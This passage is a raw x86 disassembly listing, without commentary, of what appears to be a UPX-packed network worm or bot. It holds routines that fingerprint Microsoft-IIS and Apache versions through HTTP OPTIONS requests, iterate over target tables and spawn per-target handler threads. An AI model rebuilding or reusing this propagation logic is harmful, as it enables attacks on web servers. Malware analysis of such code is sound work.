XREF: sub_412BC9:loc_412C35j mov eax, [ebp+var_85C] inc eax mov [ebp+var_85C], eax loc_412C13: ; CODE XREF: sub_412BC9+3Bj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnb short loc_412C37 mov eax, [ebp+var_85C] mov eax, [ebp+eax*4+var_80C] cmp eax, [ebp+var_8] jnz short loc_412C35 jmp short loc_412C37 ; --------------------------------------------------------------------------- loc_412C35: ; CODE XREF: sub_412BC9+68j jmp short loc_412C06 ; --------------------------------------------------------------------------- loc_412C37: ; CODE XREF: sub_412BC9+56j ; sub_412BC9+6Aj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnz short loc_412C6E cmp [ebp+var_810], 200h jnb short loc_412C6E mov eax, [ebp+var_85C] mov ecx, [ebp+var_8] mov [ebp+eax*4+var_80C], ecx mov eax, [ebp+var_810] inc eax mov [ebp+var_810], eax loc_412C6E: ; CODE XREF: sub_412BC9+7Aj ; sub_412BC9+86j xor eax, eax test eax, eax jnz short loc_412BFD lea eax, [ebp+var_854] push eax push 0 lea eax, [ebp+var_810] push eax push 0 push 0 call ds:dword_41722C ; select mov [ebp+var_C], eax cmp [ebp+var_C], 1 jz short loc_412CA5 push [ebp+var_8] call sub_4053B1 pop ecx jmp locret_412D4A ; --------------------------------------------------------------------------- loc_412CA5: ; CODE XREF: sub_412BC9+CCj push [ebp+var_8] call sub_412720 pop ecx push [ebp+var_8] call sub_412919 pop ecx mov [ebp+var_858], eax cmp [ebp+var_858], 0 jnz short loc_412CD1 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CD1: ; CODE XREF: sub_412BC9+FBj lea eax, [ebp+var_84C] push eax push [ebp+var_858] call sub_41294E pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412CF9 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CF9: ; CODE XREF: sub_412BC9+123j push [ebp+var_8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412D11 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412D11: ; CODE XREF: sub_412BC9+13Bj push offset dword_41CD18 push [ebp+var_8] lea eax, [ebp+var_84C] push eax push [ebp+var_4] call sub_4129CA add esp, 10h push 1 push [ebp+var_8] call ds:dword_417200 ; shutdown push 3E8h call ds:dword_41709C ; Sleep push [ebp+var_8] call sub_4053B1 pop ecx locret_412D4A: ; CODE XREF: sub_412BC9+D7j ; sub_412BC9+106j ... leave retn sub_412BC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D4C proc near ; CODE XREF: sub_41331E:loc_413420p push ebp mov ebp, esp mov eax, offset dword_41EBF4 pop ebp retn sub_412D4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D56 proc near ; DATA XREF: sub_412E04+CAo var_48 = dword ptr -48h var_44 = byte ptr -44h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 48h mov eax, [ebp+arg_0] mov [ebp+var_8], eax push [ebp+var_8] call sub_412720 pop ecx push [ebp+var_8] call sub_412919 pop ecx mov [ebp+var_48], eax cmp [ebp+var_48], 0 jnz short loc_412D8A push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412D8A: ; CODE XREF: sub_412D56+25j lea eax, [ebp+var_44] push eax push [ebp+var_48] call sub_41294E pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412DAE push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DAE: ; CODE XREF: sub_412D56+49j push [ebp+var_8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412DC8 push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DC8: ; CODE XREF: sub_412D56+63j push offset dword_41CD1C push [ebp+var_8] lea eax, [ebp+var_44] push eax push [ebp+var_4] call sub_4129CA add esp, 10h push 1 push [ebp+var_8] call ds:dword_417200 ; shutdown push 3E8h call ds:dword_41709C ; Sleep push [ebp+var_8] call sub_4053B1 pop ecx xor eax, eax locret_412E00: ; CODE XREF: sub_412D56+32j ; sub_412D56+56j ... leave retn 4 sub_412D56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412E04 proc near ; DATA XREF: sub_412F07+B0o var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_1AA = byte ptr -1AAh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B8h push 1ADh push [ebp+arg_0] lea eax, [ebp+var_1B4] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp+var_1B0] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412E59 push [ebp+var_1B4] call sub_409763 pop ecx xor eax, eax jmp locret_412F03 ; --------------------------------------------------------------------------- loc_412E59: ; CODE XREF: sub_412E04+40j lea eax, [ebp+var_1B0] push eax mov eax, [ebp+var_1B4] push dword ptr [eax] push offset dword_41CD20 lea eax, [ebp+var_1AA] push eax call sub_40D53F add esp, 10h lea eax, [ebp+var_1B0] push eax push offset dword_41EBF4 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_412E8F: ; CODE XREF: sub_412E04+B7j ; sub_412E04:loc_412EEAj mov eax, [ebp+var_1B4] cmp dword ptr [eax+4], 0 jz short loc_412E9D jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412E9D: ; CODE XREF: sub_412E04+95j push 3E8h push [ebp+var_4] call sub_4048EF pop ecx pop ecx mov [ebp+var_1B8], eax cmp [ebp+var_1B8], 0FFFFFFFFh jnz short loc_412EBD jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EBD: ; CODE XREF: sub_412E04+B5j cmp [ebp+var_1B8], 0 jnz short loc_412EC8 jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412EC8: ; CODE XREF: sub_412E04+C0j push [ebp+var_1B8] push offset sub_412D56 call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_412EEA push [ebp+var_1B8] call sub_4053B1 pop ecx loc_412EEA: ; CODE XREF: sub_412E04+D8j jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EEC: ; CODE XREF: sub_412E04+97j ; sub_412E04+C2j push [ebp+var_4] call sub_404CBB pop ecx push [ebp+var_1B4] call sub_409763 pop ecx xor eax, eax locret_412F03: ; CODE XREF: sub_412E04+50j leave retn 4 sub_412E04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412F07 proc near ; CODE XREF: sub_40A9CF+F6Ep ; sub_41349C+2C7p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 1ADh call sub_416B46 ; malloc pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_412F26 jmp locret_412FC4 ; --------------------------------------------------------------------------- loc_412F26: ; CODE XREF: sub_412F07+18j cmp [ebp+arg_4], 0 jz short loc_412F3A push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_C], eax jmp short loc_412F4E ; --------------------------------------------------------------------------- loc_412F3A: ; CODE XREF: sub_412F07+23j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_C], eax loc_412F4E: ; CODE XREF: sub_412F07+31j mov eax, [ebp+var_C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_412F63 cmp [ebp+var_4], 0FFFFh jbe short loc_412F77 loc_412F63: ; CODE XREF: sub_412F07+51j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_4], eax loc_412F77: ; CODE XREF: sub_412F07+5Aj push 0Ah mov eax, [ebp+var_8] add eax, 4 push eax push [ebp+var_4] call sub_416F7A ; _itoa add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx push [ebp+var_4] push offset dword_41CD58 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset sub_412E04 call sub_4095A4 add esp, 14h locret_412FC4: ; CODE XREF: sub_412F07+1Aj leave retn sub_412F07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412FC6 proc near ; CODE XREF: UPX0:004168CBp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_412FD8 ; --------------------------------------------------------------------------- loc_412FD1: ; CODE XREF: sub_412FC6:loc_413088j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412FD8: ; CODE XREF: sub_412FC6+9j mov eax, [ebp+var_4] imul eax, 3Ah cmp ds:off_41CDAE[eax], 0 jz locret_41308D mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_4] imul ecx, 3Ah mov ecx, ds:dword_41CDA6[ecx] and ecx, 0FFh mov eax, ds:off_41CDAE[eax] sub eax, ecx mov ecx, [ebp+var_4] imul ecx, 3Ah mov ds:off_41CDAE[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah and ds:dword_41CDAA[eax], 0 loc_413024: ; CODE XREF: sub_412FC6+7Ej ; sub_412FC6+BEj call sub_410422 mov ecx, [ebp+var_4] imul ecx, 3Ah mov ds:dword_41CDA6[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah cmp ds:dword_41CDA6[eax], 0 jnz short loc_413046 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413046: ; CODE XREF: sub_412FC6+7Cj and [ebp+var_8], 0 jmp short loc_413053 ; --------------------------------------------------------------------------- loc_41304C: ; CODE XREF: sub_412FC6:loc_413086j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_413053: ; CODE XREF: sub_412FC6+84j mov eax, [ebp+var_8] imul eax, 3Ah cmp ds:off_41CDAE[eax], 0 jz short loc_413088 mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jz short loc_413086 mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_8] imul ecx, 3Ah mov eax, ds:dword_41CDA6[eax] cmp eax, ds:dword_41CDA6[ecx] jnz short loc_413086 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413086: ; CODE XREF: sub_412FC6+A2j ; sub_412FC6+BCj jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413088: ; CODE XREF: sub_412FC6+9Aj jmp loc_412FD1 ; --------------------------------------------------------------------------- locret_41308D: ; CODE XREF: sub_412FC6+1Fj leave retn sub_412FC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41308F proc near ; CODE XREF: sub_41331E+72p var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = byte ptr -810h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 820h push 16h push offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n" push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_4130C4 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130C4: ; CODE XREF: sub_41308F+2Cj push 0 push 800h lea eax, [ebp+var_810] push eax push [ebp+arg_0] call ds:dword_417248 ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4130F3 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4130F3 cmp [ebp+var_8], 800h jnz short loc_4130FA loc_4130F3: ; CODE XREF: sub_41308F+53j ; sub_41308F+59j xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130FA: ; CODE XREF: sub_41308F+62j mov eax, [ebp+var_8] and [ebp+eax+var_810], 0 and [ebp+var_4], 0 push offset aServer ; "Server:" lea eax, [ebp+var_810] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_41312C xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41312C: ; CODE XREF: sub_41308F+94j lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+var_10] call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413150 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413150: ; CODE XREF: sub_41308F+B8j lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413173 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413173: ; CODE XREF: sub_41308F+DBj lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax push 0Dh push offset aMicrosoftIis ; "Microsoft-IIS" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41323C and [ebp+var_818], 0 and [ebp+var_814], 0 lea eax, [ebp+var_814] push eax lea eax, [ebp+var_818] push eax push offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u" push [ebp+var_10] call sub_416BA2 ; sscanf add esp, 10h cmp [ebp+var_818], 4 jnz short loc_4131E9 cmp [ebp+var_814], 0 jnz short loc_4131E9 push 4 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4131E9: ; CODE XREF: sub_41308F+147j ; sub_41308F+150j cmp [ebp+var_818], 5 jnz short loc_413203 cmp [ebp+var_814], 0 jnz short loc_413203 push 3 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413203: ; CODE XREF: sub_41308F+161j ; sub_41308F+16Aj cmp [ebp+var_818], 5 jnz short loc_41321D cmp [ebp+var_814], 5 jnz short loc_41321D push 2 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41321D: ; CODE XREF: sub_41308F+17Bj ; sub_41308F+184j cmp [ebp+var_818], 6 jnz short loc_413237 cmp [ebp+var_814], 0 jnz short loc_413237 push 1 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413237: ; CODE XREF: sub_41308F+195j ; sub_41308F+19Ej jmp loc_41331A ; --------------------------------------------------------------------------- loc_41323C: ; CODE XREF: sub_41308F+10Ej cmp [ebp+var_C], 0 jz loc_41331A push 6 push offset aApache ; "Apache" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41331A and [ebp+var_820], 0 lea eax, [ebp+var_820] push eax push offset dword_41CE40 push [ebp+var_10] call sub_416BA2 ; sscanf add esp, 0Ch push 6 push offset dword_41CE38 push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch neg eax sbb eax, eax inc eax mov [ebp+var_81C], eax cmp [ebp+var_81C], 1 jnz short loc_4132BE push 7 push offset dword_41CE30 push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jz short loc_4132BE xor eax, eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132BE: ; CODE XREF: sub_41308F+213j ; sub_41308F+229j cmp [ebp+var_820], 1 jnz short loc_4132D5 cmp [ebp+var_81C], 0 jz short loc_4132D5 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132D5: ; CODE XREF: sub_41308F+236j ; sub_41308F+23Fj cmp [ebp+var_820], 1 jnz short loc_4132EC cmp [ebp+var_81C], 0 jnz short loc_4132EC push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132EC: ; CODE XREF: sub_41308F+24Dj ; sub_41308F+256j cmp [ebp+var_820], 2 jnz short loc_413303 cmp [ebp+var_81C], 0 jz short loc_413303 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_413303: ; CODE XREF: sub_41308F+264j ; sub_41308F+26Dj cmp [ebp+var_820], 2 jnz short loc_41331A cmp [ebp+var_81C], 0 jnz short loc_41331A push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_41331A: ; CODE XREF: sub_41308F:loc_413237j ; sub_41308F+1B1j ... xor eax, eax locret_41331C: ; CODE XREF: sub_41308F+30j ; sub_41308F+66j ... leave retn sub_41308F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41331E proc near ; DATA XREF: sub_41349C+4EBo ; sub_413CB3+27Co var_14C = dword ptr -14Ch var_11A = dword ptr -11Ah var_112 = dword ptr -112h var_10E = dword ptr -10Eh var_10A = byte ptr -10Ah var_8A = dword ptr -8Ah var_86 = byte ptr -86h var_6 = byte ptr -6 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14Ch push 14Ch push [ebp+arg_0] lea eax, [ebp+var_14C] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 1 push [ebp+var_10E] call sub_404457 pop ecx pop ecx lea eax, [ebp+var_10A] push eax push [ebp+var_10E] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_413381 push [ebp+var_10E] call sub_40538D pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_413381: ; CODE XREF: sub_41331E+4Ej cmp [ebp+var_112], 0 jz short loc_4133B1 push [ebp+var_10E] call sub_41308F pop ecx cmp [ebp+var_112], eax jz short loc_4133B1 push [ebp+var_10E] call sub_4053B1 pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_4133B1: ; CODE XREF: sub_41331E+6Aj ; sub_41331E+7Ej cmp [ebp+var_8A], 1 jnz short loc_4133E0 lea eax, [ebp+var_6] push eax push [ebp+var_10E] call sub_404552 pop ecx pop ecx push offset dword_41F018 lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_4133E0: ; CODE XREF: sub_41331E+9Aj cmp [ebp+var_8A], 2 jnz short loc_413420 push 0Ah lea eax, [ebp+var_6] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_10A] push eax lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_413420: ; CODE XREF: sub_41331E+C9j call sub_412D4C push eax lea eax, [ebp+var_6] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41F018 lea eax, [ebp+var_86] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_413444: ; CODE XREF: sub_41331E+C0j ; sub_41331E+100j lea eax, [ebp+var_14C] push eax call [ebp+var_11A] cmp [ebp+var_8A], 1 jnz short loc_41346F push [ebp+var_10E] push [ebp+var_14C] call sub_412A3A pop ecx pop ecx jmp short loc_41348A ; --------------------------------------------------------------------------- loc_41346F: ; CODE XREF: sub_41331E+13Aj cmp [ebp+var_8A], 2 jnz short loc_41348A lea eax, [ebp+var_6] push eax lea eax, [ebp+var_86] push eax call sub_412BC9 pop ecx pop ecx loc_41348A: ; CODE XREF: sub_41331E+14Fj ; sub_41331E+158j push [ebp+var_10E] call sub_4053B1 pop ecx xor eax, eax locret_413498: ; CODE XREF: sub_41331E+5Ej ; sub_41331E+8Ej leave retn 4 sub_41331E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41349C proc near ; DATA XREF: sub_413AB0+1F4o var_774 = qword ptr -774h var_764 = qword ptr -764h var_75C = byte ptr -75Ch var_65C = byte ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_64C = byte ptr -64Ch var_648 = byte ptr -648h var_644 = dword ptr -644h var_640 = byte ptr -640h var_62C = dword ptr -62Ch var_628 = dword ptr -628h var_624 = byte ptr -624h var_51C = byte ptr -51Ch var_50E = dword ptr -50Eh var_50A = dword ptr -50Ah var_506 = dword ptr -506h var_502 = byte ptr -502h var_37B = byte ptr -37Bh var_37A = byte ptr -37Ah var_377 = byte ptr -377h var_36B = byte ptr -36Bh var_36A = byte ptr -36Ah var_35C = dword ptr -35Ch var_358 = dword ptr -358h var_354 = byte ptr -354h var_341 = byte ptr -341h var_296 = dword ptr -296h var_20C = byte ptr -20Ch var_20B = byte ptr -20Bh var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_107 = byte ptr -107h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 764h push edi push 2C9h push [ebp+arg_0] lea eax, [ebp+var_628] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_51C] push eax call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_4134F5 push 14Ch push 0 lea eax, [ebp+var_358] push eax call sub_416B6A ; memset add esp, 0Ch jmp loc_4135BF ; --------------------------------------------------------------------------- loc_4134F5: ; CODE XREF: sub_41349C+3Cj and [ebp+var_62C], 0 jmp short loc_41350B ; --------------------------------------------------------------------------- loc_4134FE: ; CODE XREF: sub_41349C:loc_4135BAj mov eax, [ebp+var_62C] inc eax mov [ebp+var_62C], eax loc_41350B: ; CODE XREF: sub_41349C+60j mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CD80 push eax lea eax, [ebp+var_640] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_640] push eax call sub_4105FB pop ecx lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_640] push eax call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_4135BA mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CD80 mov [ebp+var_358], eax push 3Ah mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CD80 push eax lea eax, [ebp+var_354] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_354] push eax call sub_4105FB pop ecx lea eax, [ebp+var_341] push eax call sub_4105FB pop ecx and [ebp+var_296], 0 lea eax, [ebp+var_341] push eax lea eax, [ebp+var_51C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4135BF ; --------------------------------------------------------------------------- loc_4135BA: ; CODE XREF: sub_41349C+B0j jmp loc_4134FE ; --------------------------------------------------------------------------- loc_4135BF: ; CODE XREF: sub_41349C+54j ; sub_41349C+11Cj lea eax, [ebp+var_624] push eax call sub_40806A pop ecx test eax, eax jnz short loc_4135E3 push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_4135E3: ; CODE XREF: sub_41349C+132j mov al, ds:byte_41DF00 mov [ebp+var_20C], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_20B] rep stosd stosw stosb mov al, ds:byte_41DF00 mov [ebp+var_108], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_107] rep stosd stosw stosb lea eax, [ebp+var_108] push eax lea eax, [ebp+var_624] push eax lea eax, [ebp+var_20C] push eax call sub_407F3D add esp, 0Ch test eax, eax jnz short loc_41364D push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_41364D: ; CODE XREF: sub_41349C+19Cj push [ebp+var_506] call sub_404D10 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413675 push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_413675: ; CODE XREF: sub_41349C+1C4j cmp [ebp+var_358], 0 jz loc_413782 mov eax, [ebp+var_358] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413782 call sub_4042FB mov [ebp+var_644], eax cmp [ebp+var_644], 0 jz short loc_4136B6 mov [ebp+var_296], 2 jmp short loc_4136C0 ; --------------------------------------------------------------------------- loc_4136B6: ; CODE XREF: sub_41349C+20Cj mov [ebp+var_296], 3 loc_4136C0: ; CODE XREF: sub_41349C+218j movsx eax, [ebp+var_36B] test eax, eax jz short loc_4136E5 mov eax, [ebp+var_358] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_4136E5 mov [ebp+var_296], 1 loc_4136E5: ; CODE XREF: sub_41349C+22Dj ; sub_41349C+23Dj movsx eax, [ebp+var_37B] test eax, eax jz short loc_4136FA mov [ebp+var_296], 2 loc_4136FA: ; CODE XREF: sub_41349C+252j movsx eax, [ebp+var_37A] test eax, eax jz short loc_41370F mov [ebp+var_296], 3 loc_41370F: ; CODE XREF: sub_41349C+267j cmp [ebp+var_296], 3 jnz short loc_41372B cmp [ebp+var_644], 0 jz short loc_41372B mov [ebp+var_296], 2 loc_41372B: ; CODE XREF: sub_41349C+27Aj ; sub_41349C+283j cmp [ebp+var_296], 3 jnz short loc_413782 mov al, [ebp+var_36A] mov [ebp+var_64C], al mov al, [ebp+var_377] mov [ebp+var_648], al mov [ebp+var_36A], 1 and [ebp+var_377], 0 push 0 lea eax, [ebp+var_502] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp+var_64C] mov [ebp+var_36A], al mov al, [ebp+var_648] mov [ebp+var_377], al loc_413782: ; CODE XREF: sub_41349C+1E0j ; sub_41349C+1F4j ... push offset dword_41E3A8 call sub_409C6C pop ecx push [ebp+var_50E] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax push offset dword_41CF28 mov eax, [ebp+var_628] add eax, 14h push eax call sub_416B5E ; sprintf add esp, 14h push offset dword_41E3A8 call sub_409C7A pop ecx push [ebp+var_50E] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax mov eax, [ebp+var_628] push dword ptr [eax] push offset dword_41CEF0 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 18h cmp [ebp+var_358], 0 jnz short loc_413807 push 3E8h call ds:dword_41709C ; Sleep loc_413807: ; CODE XREF: sub_41349C+35Ej and [ebp+var_10C], 0 call sub_416B64 ; clock mov [ebp+var_35C], eax and [ebp+var_4], 0 loc_41381D: ; CODE XREF: sub_41349C+3F9j ; sub_41349C+44Bj ... mov eax, [ebp+var_628] cmp dword ptr [eax+4], 0 jnz short loc_413847 call sub_416B64 ; clock add eax, [ebp+var_4] sub eax, [ebp+var_35C] mov ecx, [ebp+var_50E] imul ecx, 3E8h cmp eax, ecx jb short loc_41384C loc_413847: ; CODE XREF: sub_41349C+38Bj jmp loc_413A43 ; --------------------------------------------------------------------------- loc_41384C: ; CODE XREF: sub_41349C+3A9j lea eax, [ebp+var_108] push eax lea eax, [ebp+var_20C] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_108] push eax lea eax, [ebp+var_624] push eax lea eax, [ebp+var_20C] push eax call sub_407F3D add esp, 0Ch push offset dword_41F018 lea eax, [ebp+var_20C] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_413897 jmp short loc_41381D ; --------------------------------------------------------------------------- loc_413897: ; CODE XREF: sub_41349C+3F7j push [ebp+var_8] push 0 lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_20C] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp+var_650], eax cmp [ebp+var_650], 0 jz short loc_4138EC call sub_416B64 ; clock add eax, [ebp+var_4] sub eax, [ebp+var_35C] mov ecx, [ebp+var_50E] imul ecx, 3E8h cmp eax, ecx jnb short loc_4138EC jmp loc_41381D ; --------------------------------------------------------------------------- loc_4138EC: ; CODE XREF: sub_41349C+42Bj ; sub_41349C+449j push [ebp+var_50A] call ds:dword_41709C ; Sleep push [ebp+var_8] call sub_404E1C pop ecx test eax, eax jz loc_413A35 loc_413909: ; CODE XREF: sub_41349C+4BAj ; sub_41349C:loc_413A30j push [ebp+var_8] call sub_404F24 pop ecx mov [ebp+var_654], eax cmp [ebp+var_654], 0 jnz short loc_413926 jmp loc_413A35 ; --------------------------------------------------------------------------- loc_413926: ; CODE XREF: sub_41349C+483j mov eax, [ebp+var_10C] inc eax mov [ebp+var_10C], eax cmp [ebp+var_358], 0 jz short loc_4139B7 push 14Ch call sub_416B46 ; malloc pop ecx mov [ebp+var_658], eax cmp [ebp+var_658], 0 jnz short loc_413958 jmp short loc_413909 ; --------------------------------------------------------------------------- loc_413958: ; CODE XREF: sub_41349C+4B8j push 14Ch lea eax, [ebp+var_358] push eax push [ebp+var_658] call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_658] mov ecx, [ebp+var_654] mov [eax+3Eh], ecx push [ebp+var_658] push offset sub_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4139A5 push [ebp+var_658] call sub_416B4C ; free pop ecx jmp short loc_4139B5 ; --------------------------------------------------------------------------- loc_4139A5: ; CODE XREF: sub_41349C+4F9j push [ebp+var_8] push [ebp+var_654] call sub_404D9B pop ecx pop ecx loc_4139B5: ; CODE XREF: sub_41349C+507j jmp short loc_413A30 ; --------------------------------------------------------------------------- loc_4139B7: ; CODE XREF: sub_41349C+49Ej mov eax, [ebp+var_628] cmp dword ptr [eax+4], 0 jz short loc_4139C5 jmp short loc_413A35 